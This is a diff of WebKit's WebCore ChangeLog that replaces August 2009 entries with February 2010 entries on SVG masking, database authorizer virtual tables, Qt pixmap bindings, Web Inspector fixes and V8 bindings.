+        (WebCore::RenderSVGResource::toRenderSVGResource):
+        (WebCore::RenderSVGResource::isSVGResource): 
+        (WebCore::RenderSVGResource::drawsContents):
+        (WebCore::getRenderSVGResourceById):
+        * rendering/RenderSVGResourceMasker.cpp: Added.
+        (WebCore::RenderSVGResourceMasker::RenderSVGResourceMasker):
+        (WebCore::RenderSVGResourceMasker::~RenderSVGResourceMasker):
+        (WebCore::RenderSVGResourceMasker::invalidateClients): Status of masker changed, remove all clients.
+        (WebCore::RenderSVGResourceMasker::invalidateClient): Status of an object changed, remove pending client.
+        (WebCore::RenderSVGResourceMasker::applyResource): Apply masker to object.
+        (WebCore::RenderSVGResourceMasker::resourceBoundingBox): boundingBox of the resource, depending on the object.
+        (WebCore::RenderSVGResourceMasker::createMaskImage): Creates the mask image, the context gets clipped with.
+        * rendering/RenderSVGResourceMasker.h: Added.
+        (WebCore::MaskerData::MaskerData):
+        (WebCore::RenderSVGResourceMasker::renderName):
+        (WebCore::RenderSVGResourceMasker::maskUnits): Unit of mask for DRT.
+        (WebCore::RenderSVGResourceMasker::maskContentUnits): Unit of childs from mask for DRT.
+        (WebCore::RenderSVGResourceMasker::resourceType):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::destroy): Renderer gets destroyed, unregister it from it's resources.
+        * rendering/RenderSVGRoot.h:
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::destroy): dito.
+        * rendering/RenderSVGText.h:
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::write):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        (WebCore::SVGRenderBase::maskerBoundingBoxForRenderer):
+        (WebCore::SVGRenderBase::deregisterFromResources): Unregister object from all it's resources after status changed.
+        * rendering/SVGRenderSupport.h:
+        (WebCore::SVGRenderBase::toSVGRenderBase):
+        (WebCore::SVGRenderBase::strokeBoundingBox):
+        (WebCore::SVGRenderBase::markerBoundingBox):
+        * rendering/SVGRenderTreeAsText.cpp: Update TreeAsText to dump maskers correctly.
+        (WebCore::operator<<):
+        (WebCore::writeSVGResource):
+        (WebCore::writeSVGContainer):
+        (WebCore::writeSVGText):
+        (WebCore::writeSVGInlineText):
+        (WebCore::writeSVGImage):
+        (WebCore::write):
+        (WebCore::writeResourcesToObject):
+        * rendering/SVGRenderTreeAsText.h:
+        * svg/SVGMaskElement.cpp: Update Masker to use the new renderer.
+        (WebCore::SVGMaskElement::svgAttributeChanged):
+        (WebCore::SVGMaskElement::childrenChanged):
+        (WebCore::SVGMaskElement::maskBoundingBox):
+        (WebCore::SVGMaskElement::createRenderer):
+        * svg/SVGMaskElement.h:
+        * svg/SVGStyledElement.cpp: We need to tell the renderer to unregister object, after the status changed.
+        (WebCore::SVGStyledElement::invalidateResources):
+        (WebCore::SVGStyledElement::invalidateResourcesInAncestorChain):
+        * svg/SVGUnitTypes.h: Conversion of integer to SVGUnitType.
+        (WebCore::toUnitType):
+        * svg/graphics/SVGResource.h:
+        (WebCore::):
+        (WebCore::SVGResource::isMarker):
+        * svg/graphics/SVGResourceMasker.cpp: Removed.
+        * svg/graphics/SVGResourceMasker.h: Removed.
 
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::create): Added.
-        * html/HTMLElement.h: Made constructor protected and added create.
-        Made other functions protected and private. Also added inline
-        definition of constructor.
+2010-02-18  Dumitru Daniliuc  <dumi@chromium.org>
 
-        * html/HTMLEmbedElement.cpp:
-        (WebCore::HTMLEmbedElement::create): Added.
-        * html/HTMLEmbedElement.h: Made constructor private and added create.
-        Made other functions private.
+        Reviewed by Dimitri Glazkov.
 
-        * html/HTMLFrameElement.cpp:
-        (WebCore::HTMLFrameElement::create): Added.
-        (WebCore::HTMLFrameElement::parseMappedAttribute):
-        * html/HTMLFrameElement.h: Made constructor private and added create.
-        Made other functions private.
+        Allow creating/dropping virtual tables when the module is FTS2.
 
-        * html/HTMLFrameElementBase.h: Made functions protected and private.
+        https://bugs.webkit.org/show_bug.cgi?id=34867
 
-        * html/HTMLFrameOwnerElement.cpp:
-        (WebCore::HTMLFrameOwnerElement::HTMLFrameOwnerElement): Pass
-        CreateElement so reference count starts at 1.
+        * storage/DatabaseAuthorizer.cpp:
+        (WebCore::DatabaseAuthorizer::createVTable):
+        (WebCore::DatabaseAuthorizer::dropVTable):
 
-        * html/HTMLFrameOwnerElement.h: Made functions protected and private.
+2010-02-18  Peter Kasting  <pkasting@google.com>
 
-        * html/HTMLIFrameElement.cpp:
-        (WebCore::HTMLIFrameElement::create): Added.
-        * html/HTMLIFrameElement.h: Made constructor private and added create.
-        Made other functions private.
+        Not reviewed, Chromium build fix.
 
-        * html/HTMLObjectElement.cpp:
-        (WebCore::HTMLObjectElement::create): Added.
-        (WebCore::HTMLObjectElement::containsJavaApplet): Changed while loop
-        into a for loop and tweaked formatting.
+        r54963 had a typo in the WebCore.gypi change.
+        https://bugs.webkit.org/show_bug.cgi?id=35003
 
-        * html/HTMLObjectElement.h: Made constructor private and added create.
-        Made other functions private.
+        * WebCore.gypi:
 
-        * html/HTMLPlugInElement.h: Made constructor protected.
-        Made other functions protected and private.
+2010-02-18  Vangelis Kokkevis  <vangelis@chromium.org>
 
-        * html/HTMLPlugInImageElement.h: Made constructor and another function
-        protected.
+        Reviewed by Simon Fraser.
 
-        * html/HTMLTagNames.in: Removed createWithNew from all classes that
-        now have create functions. Moved conditional noscript to a separate
-        paragraph.
+        Changing forward declaration of TimingFunction in GraphicsLayer.h from
+        class to struct to match its actual definition in TimingFunction.h
 
-        * html/HTMLViewSourceDocument.cpp:
-        (WebCore::HTMLViewSourceDocument::addSpanWithClassName): Use create.
-        (WebCore::HTMLViewSourceDocument::addLink): Ditto.
-        * page/DragController.cpp:
-        (WebCore::documentFragmentFromDragData): Ditto.
+        https://bugs.webkit.org/show_bug.cgi?id=35069
 
-        * svg/SVGElement.cpp:
-        (WebCore::SVGElement::SVGElement): Pass CreateElementZeroRefCount
-        so reference count still starts at 0. Will change this class later.
-        (WebCore::SVGElement::create): Added.
-        * svg/SVGElement.h: Added create, made constructor protected, and
-        made other functions protected and private. Removed unneeded
-        SVGNames.h include.
 
-        * svg/SVGExternalResourcesRequired.h: Added now-needed SVGNames.h
-        include.
+        * platform/graphics/GraphicsLayer.h:
+           Change forward declaration from: class TimingFunction to:
+           struct TimingFunction
 
-        * svg/SVGStopElement.h: Added now-needed SVGNames.h include.
-        Made functions private.
+2010-02-18  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        * wml/WMLElement.cpp:
-        (WebCore::WMLElement::WMLElement): Pass CreateElementZeroRefCount
-        so reference count still starts at 0. Will change this class later.
-        (WebCore::WMLElement::create): Added.
-        * wml/WMLElement.h: Added create and made constructor protected.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * wml/WMLTagNames.in: Removed createWithNew from WMLElement.
+        [Qt] Minor improvement to hybrid QPixmap
+        https://bugs.webkit.org/show_bug.cgi?id=34507
+        Instead of having toHTMLImageElement which creates a new element,
+        assignToHTMLImageElement would set an existing HTML <img/> element to
+        contain the native QPixmap/QImge.
+        Also made some style fixes.
 
-2009-08-22  Adele Peterson  <adele@apple.com>
+        Additions to existing tests: see WebKit/qt/tests
 
-        Reviewed by Anders Carlsson.
+        * bridge/qt/qt_pixmapruntime.cpp:
+        (JSC::Bindings::QtPixmapWidthField::valueFromInstance): style
+        (JSC::Bindings::QtPixmapHeightField::valueFromInstance): style
+        (JSC::Bindings::QtPixmapAssignToElementMethod::name): assignTo
+        (JSC::Bindings::QtPixmapAssignToElementMethod::invoke): new function
+        (JSC::Bindings::QtPixmapAssignToElementMethod::numParameters): 1
+        (JSC::Bindings::QtPixmapToDataUrlMethod::invoke): style
+        (JSC::Bindings::QtPixmapToStringMethod::invoke): style
+        (JSC::Bindings::QtPixmapInstance::invokeMethod): style
+        (JSC::Bindings::QtPixmapClass::methodsNamed): new func, removed old
+        (JSC::Bindings::QtPixmapInstance::getPropertyNames): ditto
+        (JSC::Bindings::QtPixmapInstance::defaultValue): style
+        (JSC::Bindings::QtPixmapInstance::valueOf): style
+        (JSC::Bindings::QtPixmapInstance::toPixmap): style
+        (JSC::Bindings::QtPixmapInstance::variantFromObject): style
 
-        Fix for <rdar://problem/7161656> Crash in RenderObject::destroy when using custom scrollbars
+2010-02-18  Peter Kasting  <pkasting@google.com>
 
-        Custom scrollbars normally get detached when a document gets detached.  In this case, a crash was happening when the document had gone into the page cache 
-        and then was getting destroyed without proper scrollbar teardown.  This change makes custom scrollbars get detached when the document enters the cache.
+        Not reviewed, bustage fix.
 
-        I couldn't figure out a way to reliably cause this to happen in DRT, since the reproducible case relies on the cache being purged at a particular time.
+        An extraneous line in r54839 broke GIF animation.
 
-        * history/CachedFrame.cpp: (WebCore::CachedFrame::CachedFrame): Detach custom scrollbars when the CachedFrame is created.  
-          They'll get reattached when the document comes out of the page cache.
-        * page/FrameView.cpp: (WebCore::FrameView::~FrameView): Added some asserts to catch this problem earlier in debug builds.
+        * platform/image-decoders/gif/GIFImageReader.cpp:
+        (GIFImageReader::read):
 
-2009-08-22  David Hyatt  <hyatt@apple.com>
+2010-02-18  Dan Bernstein  <mitz@apple.com>
 
-        Reviewed by Dan Bernstein.
+        Reviewed by Simon Fraser.
 
-        Make sure self-collapsing blocks that clear floats are still able to collapse their bottom margins with
-        the bottom of their parent blocks.  The old code prevented all collapsing, but all CSS2.1 states is that:
-        "An element that has had clearance applied to it never collapses its top margin with its parent block's bottom margin."
-        
-        The implication is that the bottom margin can still collapse, and the block-inside-inline form of
-        fast/block/margin-collapse/025.html (added as fast/block/margin-collapse/block-inside-inline/025.html) depends
-        on it to get comparable results.
+        <rdar://problem/7650652> REGRESSION: Selection painting issue in bug review textbox
+        https://bugs.webkit.org/show_bug.cgi?id=34946
 
-        Added block-inside-inline tests (a whole slew of them) in fast/block/margin-collapse/block-inside-inline/
+        Test: fast/repaint/selection-gap-overflow-scroll-2.html
 
         * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::MarginInfo::MarginInfo):
-        (WebCore::RenderBlock::collapseMargins):
-        (WebCore::RenderBlock::clearFloatsIfNeeded):
-        (WebCore::RenderBlock::handleBottomOfBlock):
-        * rendering/RenderBlock.h:
-        (WebCore::RenderBlock::MarginInfo::clearMargin):
-        (WebCore::RenderBlock::MarginInfo::canCollapseBottomWithChildren):
-
-2009-08-22  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Need to implement ARIA role="listitem" and role="list"
-        https://bugs.webkit.org/show_bug.cgi?id=28606
-
-        Test: platform/mac-snowleopard/accessibility/aria-list-and-listitem.html
-
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::getOrCreate):
-        * accessibility/AccessibilityList.cpp:
-        (WebCore::AccessibilityList::isUnorderedList):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::RoleEntry::):
+        (WebCore::RenderBlock::paintSelection): localToContainerQuad() adjusts for
+        overflow scroll, but RenderLayer::addBlockSelectionGapsBounds() takes
+        non-scrolled coordinates, so account for that.
 
-2009-08-21  Dan Bernstein  <mitz@apple.com>
+2010-02-17  Dumitru Daniliuc  <dumi@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Clean up fill image geometry calculation
-        https://bugs.webkit.org/show_bug.cgi?id=28652
-
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::calculateFillTileSize): Renamed
-            calculateBackgroundSize() to this. Replaced separate scaledWidth and
-            scaledHeight parameters with a single scaledSize parameter. Renamed
-            parameters and local variables.
-        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry): Changed
-            to use CSS3 Backgrounds and Borders terminology in comments and
-            local variable names. Renamed, clarified and consolidated some local
-            variables.
-        * rendering/RenderBoxModelObject.h: Made calculateFillTileSize() private.
-
-2009-08-22  Chris Marrin  <cmarrin@apple.com>
-
-        Unreviewed, build fix.
-
-        Backing out http://trac.webkit.org/changeset/47669
-
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        * html/canvas/CanvasRenderingContext2D.h:
-
-2009-08-22  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        Backing out http://trac.webkit.org/changeset/47671 in preparation of
-        rolling out http://trac.webkit.org/changeset/47669.
-
-2009-08-22  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Anders Carlsson.
-
-        Build fix, add CanvasRenderingContext to build systems.
-        https://bugs.webkit.org/show_bug.cgi?id=28018
-
-        * DerivedSources.make: Added CanvasRenderinContext.
-        * GNUmakefile.am: Ditto.
-        * WebCore.gypi: Ditto.
-        * WebCore.pro: Ditto.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
-        * WebCoreSources.bkl: Ditto.
-
-2009-08-21  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Oliver Hunt.
+        Change the V8 and JSC SQLStatementErrorCallback to interpret
+        'undefined' return values as 'true', as required by the spec.
 
-        New files implementing GL buffer wrappers, and support to make them platform independent
-        https://bugs.webkit.org/show_bug.cgi?id=28018
-
-        * html/canvas/CanvasBuffer.cpp: Added. Wrapper around GL Buffer object
-        * html/canvas/CanvasBuffer.h: Added.
-        * html/canvas/CanvasBuffer.idl: Added.
-        * html/canvas/CanvasFramebuffer.cpp: Added. Wrapper around GL Framebuffer object
-        * html/canvas/CanvasFramebuffer.h: Added.
-        * html/canvas/CanvasFramebuffer.idl: Added.
-        * html/canvas/CanvasObject.h: Expose m_context
-        * html/canvas/CanvasProgram.cpp: Added. Wrapper around GL Program object
-        * html/canvas/CanvasProgram.h: Added.
-        * html/canvas/CanvasProgram.idl: Added.
-        * html/canvas/CanvasRenderbuffer.cpp: Added. Wrapper around GL Renderbuffer object
-        * html/canvas/CanvasRenderbuffer.h: Added.
-        * html/canvas/CanvasRenderbuffer.idl: Added.
-        * html/canvas/CanvasRenderingContext3D.cpp: Move m_objects hash table from GraphicsContext3D to here
-        * html/canvas/CanvasRenderingContext3D.h:
-        * html/canvas/CanvasShader.cpp: Added. Wrapper around GL Shader object
-        * html/canvas/CanvasShader.h: Added.
-        * html/canvas/CanvasShader.idl: Added.
-        * html/canvas/CanvasTexture.cpp: Added. Wrapper around GL Texture object
-        * html/canvas/CanvasTexture.h: Added.
-        * html/canvas/CanvasTexture.idl: Added.
-        * platform/graphics/GraphicsContext3D.cpp: Removed.
-        * platform/graphics/GraphicsContext3D.h: Move m_objects hash table from here to CanvasRenderingContext3D
-        * platform/graphics/mac/GraphicsContext3DMac.cpp: Implement platform dependent code for GL object creation/destruction
-
-2009-08-21  Darin Adler  <darin@apple.com>
-
-        * WebCore.vcproj/build-generated-files.sh:
-        * make-generated-sources.sh:
-        Removed obsolete code to set up CREATE_HASH_TABLE.
-
-2009-08-21  Adele Peterson  <adele@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=35048
 
-        Reviewed by Mark Rowe.
-
-        <rdar://problem/7162322> Custom style sheet ignored if UAC is enabled 
+        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
+        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
+        (WebCore::V8CustomSQLStatementErrorCallback::handleEvent):
+        * bindings/v8/custom/V8CustomVoidCallback.cpp:
+        (WebCore::invokeCallbackHelper):
+        (WebCore::invokeCallback):
+        (WebCore::invokeCallbackTreatUndefinedAsTrue):
+        * bindings/v8/custom/V8CustomVoidCallback.h:
 
-        * platform/win/SharedBufferWin.cpp: (WebCore::SharedBuffer::createWithContentsOfFile): 
-        No need to open the file with write access.  Only read access is needed.
+2010-02-17  Ojan Vafai  <ojan@chromium.org>
 
-2009-08-21  Alexey Proskuryakov  <ap@apple.com>
+        Reviewed by Adam Barth.
 
-        Reviewed by Darin Adler.
+        keyboard selection sometimes moves the wrong end of the selection for Win/Linux
+        https://bugs.webkit.org/show_bug.cgi?id=35066
 
-        <rdar://problem/7161454> Leaks seen during http/tests/xmlhttprequest/cross-origin-no-authorization.html
+        On Windows/Linux keyboard based selections should always move the same
+        end of the seleciton. On Mac, lineboundary and documentboundary changes
+        move different ends of the selection depending on which direction your
+        extending.
 
-        Also fixes leaks seen on appcache tests.
+        Test: editing/selection/extend-after-mouse-selection.html
 
-        * platform/network/mac/ResourceHandleMac.mm: (WebCore::ResourceHandle::cancel): Work around
-        something that's likely a CFNetwork issue. Note that on Windows, there is no matching API
-        to call, and we do not think that the leak occurs there anyway.
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::positionForPlatform):
+        (WebCore::SelectionController::startForPlatform):
+        (WebCore::SelectionController::endForPlatform):
+        (WebCore::SelectionController::modifyExtendingRight):
+        (WebCore::SelectionController::modifyExtendingForward):
+        (WebCore::SelectionController::modifyMovingForward):
+        (WebCore::SelectionController::modifyExtendingBackward):
+        (WebCore::SelectionController::modifyMovingBackward):
+        * editing/SelectionController.h:
 
-2009-08-21  Dmitry Titov  <dimich@chromium.org>
+2010-02-18  Timothy Hatcher  <timothy@apple.com>
 
-        Reviewed by David Levin.
+        Add "with" to the list of keywords to syntax highlight.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28650
-        Remove cross-thread code from CrossOriginPreflightResultCache.
-        Removed mutexes, atomic initializer and string copy.
+        http://webkit.org/b/35123
 
-        No new tests, the worker tests cover this.
+        Reviewed by Pavel Feldman.
 
-        * loader/CrossOriginPreflightResultCache.cpp:
-        (WebCore::addToAccessControlAllowList):
-        (WebCore::CrossOriginPreflightResultCache::shared):
-        (WebCore::CrossOriginPreflightResultCache::appendEntry):
-        (WebCore::CrossOriginPreflightResultCache::canSkipPreflight):
-        (WebCore::CrossOriginPreflightResultCache::empty):
-        * loader/CrossOriginPreflightResultCache.h:
+        * inspector/front-end/SourceJavaScriptTokenizer.js:
+        (WebInspector.SourceJavaScriptTokenizer): Add "width" to _keywords.
+        * inspector/front-end/SourceJavaScriptTokenizer.re2js:
+        (WebInspector.SourceJavaScriptTokenizer): Ditto.
 
-2009-08-21  Michelangelo De Simone  <micdesim@gmail.com>
+2010-02-17  Peter Kasting  <pkasting@google.com>
 
-        Reviewed by Jan Alonzo.
+        Reviewed by Adam Barth.
 
-        Buildfix after http://trac.webkit.org/changeset/47655.
+        Rework PNG-in-ICO decoding to copy the decoded framebuffer into the ICO
+        decoder, making the logic less crazy and more like the other decoders.
+        https://bugs.webkit.org/show_bug.cgi?id=28751
 
-        * html/HTMLFormControlElement.h:
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::RGBA32Buffer::operator=):
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::RGBA32Buffer::RGBA32Buffer):
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::frameBufferAtIndex):
+        (WebCore::ICOImageDecoder::decodeAtIndex):
+        * platform/image-decoders/ico/ICOImageDecoder.h:
+        * platform/image-decoders/qt/RGBA32BufferQt.cpp:
+        (WebCore::RGBA32Buffer::operator=):
+        * platform/image-decoders/skia/ImageDecoderSkia.cpp:
+        (WebCore::RGBA32Buffer::operator=):
 
-2009-08-19  Joseph Pecoraro  <joepeck@webkit.org>
+2010-02-18  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Inspector: Improve Cookie DataGrid to Show Hidden Data
-        https://bugs.webkit.org/show_bug.cgi?id=28269
-
-          Removed Custom Bindings
-
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        * inspector/InspectorBackend.cpp:
-
-          Made Non-Custom Bindings in the Backend
-
-        (WebCore::InspectorBackend::getCookies):
-        (WebCore::InspectorBackend::deleteCookie):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::deleteCookie):
-        * inspector/InspectorController.h:
-
-          Build the Cookie ScriptObjects, handles using document.cookie in
-          case the platform hasn't implemented raw cookie access.
-
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::getCookies):
-        (WebCore::InspectorDOMAgent::buildObjectForCookie):
-        (WebCore::InspectorDOMAgent::buildArrayForCookies):
-        * inspector/InspectorDOMAgent.h:
-
-          Complete the Asynchronous Calls
+        Web Inspector: multiple popovers on screen at the same time.
 
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::didGetCookies):
-        * inspector/InspectorFrontend.h:
+        https://bugs.webkit.org/show_bug.cgi?id=35105
 
-          Asynchronous Functions to get Cookie Data
+        * inspector/front-end/Popover.js:
+        (WebInspector.Popover.prototype.show):
+        (WebInspector.Popover.prototype.hide):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._showPopup):
 
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.Cookies.getCookiesAsync):
-        (WebInspector.Cookies.buildCookiesFromString): fallback behavior
+2010-02-18  Pavel Feldman  <pfeldman@chromium.org>
 
-          Refactor to use the Asynchronous Functions
+        Reviewed by Timothy Hatcher.
 
-        * inspector/front-end/CookieItemsView.js:
-        (WebInspector.CookieItemsView):
-        (WebInspector.CookieItemsView.prototype.get statusBarItems):
-        (WebInspector.CookieItemsView.prototype.update.callback):
-        (WebInspector.CookieItemsView.prototype.update):
-        (WebInspector.CookieItemsView.prototype.simpleDataGridForCookies):
-        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
+        Web Inspector: Expand Object.__proto__ properly.
 
-          Cleaned/Commented Related Code
+        https://bugs.webkit.org/show_bug.cgi?id=35113
 
-        (InspectorController.searchCanceled):
+        * inspector/front-end/EventListenersSidebarPane.js:
         * inspector/front-end/InjectedScript.js:
-        * platform/Cookie.h:
-        * English.lproj/localizedStrings.js: the new strings that were supposed to have gone in last time
-
-2009-08-21  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Adele Peterson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28145
-        Add support for novalidate/formnovalidate attribute, from HTML5 specs:
-        http://www.whatwg.org/specs/web-apps/current-work/#attr-fs-novalidate
-
-        Tests: fast/forms/formnovalidate-attribute.html
-               fast/forms/novalidate-attribute.html
-
-        * html/HTMLAttributeNames.in: added novalidate, formnovalidate
-        * html/HTMLButtonElement.idl: formnovalidate attribute exposed
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::formNoValidate): attribute getter
-        (WebCore::HTMLFormControlElement::setFormNoValidate): attribute setter
-        * html/HTMLFormControlElement.h:
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::novalidate): attribute getter
-        (WebCore::HTMLFormElement::setNovalidate): attribute setter
-        * html/HTMLFormElement.h:
-        * html/HTMLFormElement.idl: novalidate attribute exposed
-        * html/HTMLInputElement.idl: formNoValidate attribute exposed
-
-2009-08-21  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        Rendering changes to complete
-        [CSS3 Backgrounds and Borders] Add support for the "contain" value for
-        background-size
-        https://bugs.webkit.org/show_bug.cgi?id=27573
-        and
-        [CSS3 Backgrounds and Borders] Add support for the "cover" value for
-        background-size
-        https://bugs.webkit.org/show_bug.cgi?id=27574
-
-        Test: fast/backgrounds/size/contain-and-cover.html
-
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::calculateBackgroundSize):
-        * rendering/RenderObject.cpp:
-        (WebCore::mustRepaintFillLayers):
-
-2009-08-21  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Adele Peterson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27452
-        Add support for checkValidity() method and invalid event, from HTML5
-        specs:
-        http://www.whatwg.org/specs/web-apps/current-work/#dom-form-checkvalidity
-
-        Tests: fast/events/invalid-001.html
-               fast/events/invalid-002.html
-               fast/events/invalid-003.html
-               fast/events/invalid-004.html
-               fast/events/invalid-005.html
-               fast/forms/checkValidity-001.html
-               fast/forms/checkValidity-002.html
-               fast/forms/checkValidity-003.html
-               fast/forms/checkValidity-004.html
-
-        * dom/Document.idl: oninvalid event handler
-        * dom/Element.idl: ditto
-        * dom/EventNames.h: added invalid event
-        * dom/Node.cpp:
-        (WebCore::Node::oninvalid): ditto
-        (WebCore::Node::setOninvalid): ditto
-        * dom/Node.h: ditto
-        * html/HTMLAttributeNames.in: oninvalid attribute
-        * html/HTMLButtonElement.idl: added checkValidity() method
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::parseMappedAttribute): parses oninvalid
-        * html/HTMLFieldSetElement.idl: added checkValidity() method
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::checkValidity): checkValidity()
-        implementation
-        * html/HTMLFormControlElement.h:
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::checkValidity): checkValidity() implementation
-        for form elements
-        * html/HTMLFormElement.h: checkValidity() definition
-        * html/HTMLFormElement.idl: added checkValidity() method
-        * html/HTMLInputElement.idl: added checkValidity() method
-        * html/HTMLSelectElement.idl: added checkValidity() method
-        * html/HTMLTextAreaElement.idl: added checkValidity() method
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::oninvalid): oninvalid event handler
-        (WebCore::DOMWindow::setOninvalid): ditto
-        * page/DOMWindow.h: ditto
-        * page/DOMWindow.idl: ditto
-
-2009-08-21  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        The CSS part of https://bugs.webkit.org/show_bug.cgi?id=27571 [CSS3 
-        Backgrounds and Borders] Add support for the "round" value for 
-        background-repeat
-        -and-
-        https://bugs.webkit.org/show_bug.cgi?id=27570 [CSS3 Backgrounds and 
-        Borders] Add support for the "space" value for background-repeat
-
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseFillProperty):
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        (WebCore::CSSPrimitiveValue::operator EFillRepeat):
-        * css/CSSValueKeywords.in:
-        * rendering/style/FillLayer.h:
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
+        (injectedScriptConstructor):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        * inspector/front-end/inspector.js:
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
 
-2009-08-21  Chris Marrin  <cmarrin@apple.com>
+2010-02-18  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Adam Barth.
 
-        New files for Canvas 3D feature
-        https://bugs.webkit.org/show_bug.cgi?id=28018
-
-        This is all the new files for implementing Canvas 3D. None of them are hooked up and
-        are not even included in the build yet. This incorporates the reviews from Simon
-        and Ollie for these files.
-
-        * bindings/js/JSCanvasNumberArrayCustom.cpp: Added. Custom JS binding to do implicit conversion from JS Array
-        * html/CanvasObject.cpp: Added. Base class for all GL object containers
-        * html/CanvasObject.h: Added.
-        * html/CanvasRenderingContext.cpp: Added. Base class for CanvasRenderingContext2D and CanvasRenderingContext3D
-        * html/CanvasRenderingContext.h: Added.
-        * html/CanvasRenderingContext.idl: Added.
-        * html/CanvasRenderingContext3D.cpp: Added. 3D context returned from Canvas.getContext()
-        * html/CanvasRenderingContext3D.h: Added.
-        * html/CanvasRenderingContext3D.idl: Added.
-        * platform/graphics/GraphicsContext3D.cpp: Added. Platform interface between CanvasRenderingContext3D and 3D graphics engine
-        * platform/graphics/GraphicsContext3D.h: Added.
-        * platform/graphics/mac/Canvas3DLayer.h: Added. CALayer subclass to composite 3D canvas
-        * platform/graphics/mac/Canvas3DLayer.mm: Added.
-        * platform/graphics/mac/GraphicsContext3DMac.cpp: Added. Mac specific interface (OpenGL based)
-
-2009-08-21  Ryosuke Niwa  <rniwa@webkit.org>
+        [V8] Merge the DOMWindow and WorkerContext object wrapping code paths,
+        and use a faster method of disambiguating between the types of contexts.
 
-        No Review.
+        https://bugs.webkit.org/show_bug.cgi?id=35009
 
-        Another Windows build fix.
+        * bindings/scripts/CodeGeneratorV8.pm: Remove logic determining whether we need to
+            handle the WorkerContext case.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::globalObjectPrototypeIsDOMWindow):
+        (WebCore::V8DOMWrapper::instantiateV8Object): Merge instantiateV8Object paths.
+        * bindings/v8/V8DOMWrapper.h:
 
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::diffTextDecorations):
+2010-02-12  Brett Wilson  <brettw@chromium.org>
 
-2009-08-21  David Hyatt  <hyatt@apple.com>
+        Reviewed by Adam Barth.
 
-        Reviewed by Simon Fraser.
+        Update the Google-URL version of KURL and the V8 bindings to the new
+        behavior of KURL.IsStandard.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28625, focus rings don't respect the non-strict mode
-        line box shrinking quirk.  Make sure outlines don't extend outside the lineTop and lineBottom
-        of the root line box.
+        https://bugs.webkit.org/show_bug.cgi?id=34859
 
-        Covered by existing tests.
+        This is covered by fast/dom/Window/invalid-protocol.html
 
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::addFocusRingRects):
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::addFocusRingRects):
-        (WebCore::RenderInline::paintOutline):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::V8Location::protocolAccessorSetter):
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::setProtocol):
